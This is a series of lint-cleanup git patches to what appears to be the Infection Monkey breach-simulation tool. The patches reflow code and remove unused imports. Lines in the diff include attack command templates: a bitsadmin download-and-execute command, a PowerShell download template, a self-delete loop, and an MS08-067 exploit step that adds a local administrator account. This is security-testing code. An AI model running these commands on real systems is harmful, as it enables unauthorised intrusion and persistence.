From e508540aceaf39ba11b809da2631ecbe99f3e7ca Mon Sep 17 00:00:00 2001 From: Ace Pace Date: Fri, 1 May 2020 13:00:54 +0300 Subject: [PATCH 1/5] Fix really random linting errors from flake8 --- monkey/infection_monkey/exploit/weblogic.py | 1 - monkey/infection_monkey/model/__init__.py | 8 ++++---- monkey/infection_monkey/network/info.py | 3 --- monkey/infection_monkey/network/ping_scanner.py | 1 - monkey/infection_monkey/system_info/__init__.py | 1 - monkey/infection_monkey/transport/__init__.py | 2 -- monkey/infection_monkey/utils/windows/users.py | 1 - monkey/monkey_island/cc/bootloader_server.py | 1 - monkey/monkey_island/cc/environment/test_aws.py | 5 ++--- monkey/monkey_island/cc/models/attack/mitigation.py | 1 - monkey/monkey_island/cc/resources/node_states.py | 1 - .../cc/services/attack/technique_reports/__init__.py | 1 - monkey/monkey_island/cc/services/bootloader_test.py | 1 - monkey/monkey_island/cc/services/node.py | 1 + .../cc/services/telemetry/processing/system_info.py | 1 - .../monkey_island/cc/services/utils/bootloader_config.py | 1 - .../monkey_island/cc/services/utils/node_states_test.py | 2 -- monkey/monkey_island/cc/utils.py | 1 - 18 files changed, 7 insertions(+), 26 deletions(-) diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index 04eb43c79..a77259448 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -4,7 +4,6 @@ import time import copy from requests import post, exceptions -from http.server import BaseHTTPRequestHandler, HTTPServer from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.exploit.HostExploiter import HostExploiter diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 5644044b0..e7ab94495 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -14,10 +14,10 @@ MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG,) GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)' DROPPER_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(dropper_path)s %s' % (CMD_PREFIX, DROPPER_ARG,) MONKEY_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(monkey_path)s %s' % (CMD_PREFIX, MONKEY_ARG,) -MONKEY_CMDLINE_HTTP = '%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \ - '/c %%(monkey_path)s %s"' % (CMD_PREFIX, MONKEY_ARG,) -DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(' \ - 'file_path)s exit)) > NUL 2>&1 ' +MONKEY_CMDLINE_HTTP = '%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s' \ + '&cmd /c %%(monkey_path)s %s"' % (CMD_PREFIX, MONKEY_ARG,) +DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & ' \ + 'if not exist %(file_path)s exit)) > NUL 2>&1 ' # Commands used for downloading monkeys POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(" \ diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index 15d9b0d73..68c295fe3 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -51,18 +51,15 @@ if is_windows_os(): local_hostname = socket.gethostname() return socket.gethostbyname_ex(local_hostname)[2] - def get_routes(): raise NotImplementedError() else: from fcntl import ioctl - def local_ips(): valid_ips = [network['addr'] for network in get_host_subnets()] return valid_ips - def get_routes(): # based on scapy implementation for route parsing try: f = open("/proc/net/route", "r") diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py index b08c28a1f..f35533f0c 100644 --- a/monkey/infection_monkey/network/ping_scanner.py +++ b/monkey/infection_monkey/network/ping_scanner.py @@ -7,7 +7,6 @@ import sys import infection_monkey.config from infection_monkey.network.HostFinger import HostFinger from infection_monkey.network.HostScanner import HostScanner -from infection_monkey.model.host import VictimHost __author__ = 'itamar' diff --git a/monkey/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py index d9107e7bf..76bc40eb6 100644 --- a/monkey/infection_monkey/system_info/__init__.py +++ b/monkey/infection_monkey/system_info/__init__.py @@ -1,5 +1,4 @@ import logging -import socket import sys import psutil diff --git a/monkey/infection_monkey/transport/__init__.py b/monkey/infection_monkey/transport/__init__.py index 25509ef85..c3df1cb01 100644 --- a/monkey/infection_monkey/transport/__init__.py +++ b/monkey/infection_monkey/transport/__init__.py @@ -1,3 +1 @@ from infection_monkey.transport.http import HTTPServer, LockedHTTPServer - -__author__ = 'hoffer' diff --git a/monkey/infection_monkey/utils/windows/users.py b/monkey/infection_monkey/utils/windows/users.py index fcd364032..9353509b9 100644 --- a/monkey/infection_monkey/utils/windows/users.py +++ b/monkey/infection_monkey/utils/windows/users.py @@ -73,7 +73,6 @@ class AutoNewWindowsUser(AutoNewUser): def run_as(self, command): # Importing these only on windows, as they won't exist on linux. - import win32con import win32process import win32api import win32event diff --git a/monkey/monkey_island/cc/bootloader_server.py b/monkey/monkey_island/cc/bootloader_server.py index 5adfb3d22..3024b6a42 100644 --- a/monkey/monkey_island/cc/bootloader_server.py +++ b/monkey/monkey_island/cc/bootloader_server.py @@ -46,4 +46,3 @@ class BootloaderHTTPRequestHandler(BaseHTTPRequestHandler): @staticmethod def get_bootloader_resource_url(server_ip): return "https://" + server_ip + ":" + str(Environment._ISLAND_PORT) + "/api/bootloader/" - diff --git a/monkey/monkey_island/cc/environment/test_aws.py b/monkey/monkey_island/cc/environment/test_aws.py index 222e97530..1a52fb171 100644 --- a/monkey/monkey_island/cc/environment/test_aws.py +++ b/monkey/monkey_island/cc/environment/test_aws.py @@ -9,7 +9,8 @@ class TestAwsEnvironment(IslandTestCase): def test_get_auth_users(self): env = AwsEnvironment() # This is "injecting" the instance id to the env. This is the UTs aren't always executed on the same AWS machine - # (might not be an AWS machine at all). Perhaps it would have been more elegant to create a Mock, but not worth it for + # (might not be an AWS machine at all). + # Perhaps it would have been more elegant to create a Mock, but not worth it for # this small test. env._instance_id = "i-666" hash_obj = hashlib.sha3_512() @@ -22,5 +23,3 @@ class TestAwsEnvironment(IslandTestCase): assert auth_user.id == 1 assert auth_user.username == "monkey" assert auth_user.secret == hash_obj.hexdigest() - - diff --git a/monkey/monkey_island/cc/models/attack/mitigation.py b/monkey/monkey_island/cc/models/attack/mitigation.py index 670462257..f87c7593b 100644 --- a/monkey/monkey_island/cc/models/attack/mitigation.py +++ b/monkey/monkey_island/cc/models/attack/mitigation.py @@ -16,4 +16,3 @@ class Mitigation(EmbeddedDocument): description = mitigation['description'] url = MitreApiInterface.get_stix2_external_reference_url(mitigation) return Mitigation(name=name, description=description, url=url) - diff --git a/monkey/monkey_island/cc/resources/node_states.py b/monkey/monkey_island/cc/resources/node_states.py index c7c99cc94..bb5a978b6 100644 --- a/monkey/monkey_island/cc/resources/node_states.py +++ b/monkey/monkey_island/cc/resources/node_states.py @@ -1,4 +1,3 @@ -from flask import request import flask_restful from monkey_island.cc.auth import jwt_required diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index bd4e07c24..18818d571 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -129,4 +129,3 @@ class AttackTechnique(object, metaclass=abc.ABCMeta): return {'mitigations': mitigation_document.to_mongo().to_dict()['mitigations']} else: return {} - diff --git a/monkey/monkey_island/cc/services/bootloader_test.py b/monkey/monkey_island/cc/services/bootloader_test.py index 03df2be97..f71c36184 100644 --- a/monkey/monkey_island/cc/services/bootloader_test.py +++ b/monkey/monkey_island/cc/services/bootloader_test.py @@ -32,4 +32,3 @@ class TestBootloaderService(TestCase): ips = ["127.1.1.1", "127.0.0.1", "192.168.56.1"] ips = BootloaderService.remove_local_ips(ips) self.assertEqual(["192.168.56.1"], ips) - diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 6104b279f..3206fef95 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -411,5 +411,6 @@ class NodeService: def get_hostname_by_id(node_id): return NodeService.get_node_hostname(mongo.db.monkey.find_one({'_id': node_id}, {'hostname': 1})) + class NodeCreationException(Exception): pass diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py index 75c806ea5..5b842df0b 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py @@ -101,4 +101,3 @@ def process_mimikatz_and_wmi_info(telemetry_json): monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id') wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) wmi_handler.process_and_handle_wmi_info() - diff --git a/monkey/monkey_island/cc/services/utils/bootloader_config.py b/monkey/monkey_island/cc/services/utils/bootloader_config.py index cb9ff04a6..f1eaf9368 100644 --- a/monkey/monkey_island/cc/services/utils/bootloader_config.py +++ b/monkey/monkey_island/cc/services/utils/bootloader_config.py @@ -9,4 +9,3 @@ SUPPORTED_WINDOWS_VERSIONS = { "windows7_sp1": True, "windows8_or_greater": True, } - diff --git a/monkey/monkey_island/cc/services/utils/node_states_test.py b/monkey/monkey_island/cc/services/utils/node_states_test.py index 7a8b7dfd1..1204cb881 100644 --- a/monkey/monkey_island/cc/services/utils/node_states_test.py +++ b/monkey/monkey_island/cc/services/utils/node_states_test.py @@ -11,5 +11,3 @@ class TestNodeGroups(TestCase): self.assertEqual(NodeStates.get_by_keywords(['monkey', 'linux', 'running']), NodeStates.MONKEY_LINUX_RUNNING) with self.assertRaises(NoGroupsFoundException): NodeStates.get_by_keywords(['bogus', 'values', 'from', 'long', 'list', 'should', 'fail']) - - diff --git a/monkey/monkey_island/cc/utils.py b/monkey/monkey_island/cc/utils.py index 5504c34b6..37af43745 100644 --- a/monkey/monkey_island/cc/utils.py +++ b/monkey/monkey_island/cc/utils.py @@ -20,7 +20,6 @@ if sys.platform == "win32": else: import fcntl - def local_ips(): result = [] try: From 431daa1f8e95ebd36a08df9d1ed1f0526311e7f7 Mon Sep 17 00:00:00 2001 From: Ace Pace Date: Fri, 1 May 2020 13:02:41 +0300 Subject: [PATCH 2/5] Reduce number of flake8 warnings to 100. --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 4400f7e9e..3b5a59f6f 100644 --- a/.travis.yml +++ b/.travis.yml @@ -36,7 +36,7 @@ script: ## Display the linter issues - cat flake8_warnings.txt ## Make sure that we haven't increased the amount of warnings. -- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=190 +- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=100 - if [ $(tail -n 1 flake8_warnings.txt) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT ]; then echo "Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. " && exit 1; fi ## Run unit tests From 4c27ea4f7b3d659b8733b42e91cb6fdb43292563 Mon Sep 17 00:00:00 2001 From: Ace Pace Date: Tue, 5 May 2020 23:47:41 +0300 Subject: [PATCH 3/5] Fix a few more. Re set the number of flake warnings to be higher :( --- .travis.yml | 2 +- .../blackbox/island_client/monkey_island_client.py | 1 - envs/monkey_zoo/blackbox/test_blackbox.py | 1 - envs/os_compatibility/test_compatibility.py | 3 --- monkey/infection_monkey/exploit/win_ms08_067.py | 6 +++--- monkey/monkey_island/cc/models/test_monkey.py | 4 ++-- monkey/monkey_island/cc/resources/bootloader_test.py | 1 - monkey/monkey_island/cc/services/config_schema.py | 2 +- 8 files changed, 7 insertions(+), 13 deletions(-) diff --git a/.travis.yml b/.travis.yml index 3b5a59f6f..a73629f99 100644 --- a/.travis.yml +++ b/.travis.yml @@ -36,7 +36,7 @@ script: ## Display the linter issues - cat flake8_warnings.txt ## Make sure that we haven't increased the amount of warnings. -- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=100 +- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=120 - if [ $(tail -n 1 flake8_warnings.txt) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT ]; then echo "Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. " && exit 1; fi ## Run unit tests diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py index 93780bf3b..f7d6f552c 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py @@ -1,4 +1,3 @@ -from datetime import timedelta from time import sleep import json diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 04e510c55..5109c7652 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -144,4 +144,3 @@ class TestMonkeyBlackbox(object): island_client, "PERFORMANCE.conf", timeout_in_seconds=10*60) - diff --git a/envs/os_compatibility/test_compatibility.py b/envs/os_compatibility/test_compatibility.py index 51a9f5ebb..5e5a38597 100644 --- a/envs/os_compatibility/test_compatibility.py +++ b/envs/os_compatibility/test_compatibility.py @@ -57,6 +57,3 @@ class TestOSCompatibility(object): if len(ips_that_communicated) < len(machine_list): assert False - - - diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index f296091d6..8379b6d4f 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -193,9 +193,9 @@ class Ms08_067_Exploiter(HostExploiter): sock.send("cmd /c (net user {} {} /add) &&" " (net localgroup administrators {} /add)\r\n".format( - self._config.user_to_add, - self._config.remote_user_pass, - self._config.user_to_add).encode()) + self._config.user_to_add, + self._config.remote_user_pass, + self._config.user_to_add).encode()) time.sleep(2) reply = sock.recv(1000) diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/test_monkey.py index 0d12f9785..b25208345 100644 --- a/monkey/monkey_island/cc/models/test_monkey.py +++ b/monkey/monkey_island/cc/models/test_monkey.py @@ -13,8 +13,8 @@ logger = logging.getLogger(__name__) class TestMonkey(IslandTestCase): """ - Make sure to set server environment to `testing` in server_config.json! Otherwise this will mess up your mongo instance and - won't work. + Make sure to set server environment to `testing` in server_config.json! + Otherwise this will mess up your mongo instance and won't work. Also, the working directory needs to be the working directory from which you usually run the island so the server_config.json file is found and loaded. diff --git a/monkey/monkey_island/cc/resources/bootloader_test.py b/monkey/monkey_island/cc/resources/bootloader_test.py index 41ce9304c..5db86627c 100644 --- a/monkey/monkey_island/cc/resources/bootloader_test.py +++ b/monkey/monkey_island/cc/resources/bootloader_test.py @@ -1,7 +1,6 @@ from unittest import TestCase from monkey_island.cc.resources.bootloader import Bootloader -from monkey_island.cc.services.utils.bootloader_config import SUPPORTED_WINDOWS_VERSIONS class TestBootloader(TestCase): diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 3d0220ee2..6b797c206 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -130,7 +130,7 @@ SCHEMA = { "title": "Collect the machine's hostname", "attack_techniques": [] }, -{ + { "type": "string", "enum": [ PROCESS_LIST_COLLECTOR From 1de511b1ed882f21e9b69c8c10de0f315a40183e Mon Sep 17 00:00:00 2001 From: Ace Pace Date: Wed, 6 May 2020 00:01:50 +0300 Subject: [PATCH 4/5] Remove some more PEP8 --- monkey/monkey_island/cc/models/zero_trust/test_finding.py | 3 ++- monkey/monkey_island/cc/services/attack/attack_config.py | 4 ++-- .../cc/services/attack/technique_reports/T1136.py | 1 - 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/models/zero_trust/test_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_finding.py index 4299f7eb4..f54884f0a 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_finding.py @@ -33,7 +33,8 @@ class TestFinding(IslandTestCase): event_example = Event.create_event( title="Event Title", message="event message", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK) - Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_FAILED, events=[event_example]) + Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, + status=zero_trust_consts.STATUS_FAILED, events=[event_example]) self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 1) self.assertEqual(len(Finding.objects(status=zero_trust_consts.STATUS_FAILED)), 1) diff --git a/monkey/monkey_island/cc/services/attack/attack_config.py b/monkey/monkey_island/cc/services/attack/attack_config.py index 2830a2dc9..fe1b3263d 100644 --- a/monkey/monkey_island/cc/services/attack/attack_config.py +++ b/monkey/monkey_island/cc/services/attack/attack_config.py @@ -120,7 +120,7 @@ class AttackConfig(object): def set_bool_conf_val(path, val, monkey_config): """ Changes monkey's configuration by setting one of its boolean fields value - :param path: Path to boolean value in monkey's configuration. E.g. ['monkey', 'system_info', 'should_use_mimikatz'] + :param path: Path to boolean value in monkey's configuration. ['monkey', 'system_info', 'should_use_mimikatz'] :param val: Boolean :param monkey_config: Monkey's configuration """ @@ -183,5 +183,5 @@ class AttackConfig(object): techniques = {} for type_name, attack_type in list(attack_config.items()): for key, technique in list(attack_type['properties'].items()): - techniques[key] = {'selected': technique['value'], 'type': SCHEMA['properties'][type_name]['title']} + techniques[key] = {'selected': technique['value'], 'type': SCHEMA['properties'][type_name]['title']} return techniques diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py index 777476473..04450d4a6 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py @@ -2,7 +2,6 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique from monkey_island.cc.services.reporting.report import ReportService from common.utils.attack_utils import ScanStatus from common.data.post_breach_consts import POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER -from monkey_island.cc.models import Monkey __author__ = "shreyamalviya" From 115cb05031f690c1944f8100c4d8be9694ae46ee Mon Sep 17 00:00:00 2001 From: Ace Pace Date: Wed, 6 May 2020 00:04:54 +0300 Subject: [PATCH 5/5] Remove flake8 warnings on import not in start of module. Possible alternative is using __all__ but that may come with change in functionality. --- monkey/monkey_island/cc/models/__init__.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index 94d56d6a8..0a83c00b9 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -12,9 +12,9 @@ else: connect(db=env.mongo_db_name, host=env.mongo_db_host, port=env.mongo_db_port) # Order of importing matters here, for registering the embedded and referenced documents before using them. -from .config import Config -from .creds import Creds -from .monkey_ttl import MonkeyTtl -from .pba_results import PbaResults -from .command_control_channel import CommandControlChannel -from .monkey import Monkey +from .config import Config # noqa: F401 +from .creds import Creds # noqa: F401 +from .monkey_ttl import MonkeyTtl # noqa: F401 +from .pba_results import PbaResults # noqa: F401 +from .command_control_channel import CommandControlChannel # noqa: F401 +from .monkey import Monkey # noqa: F401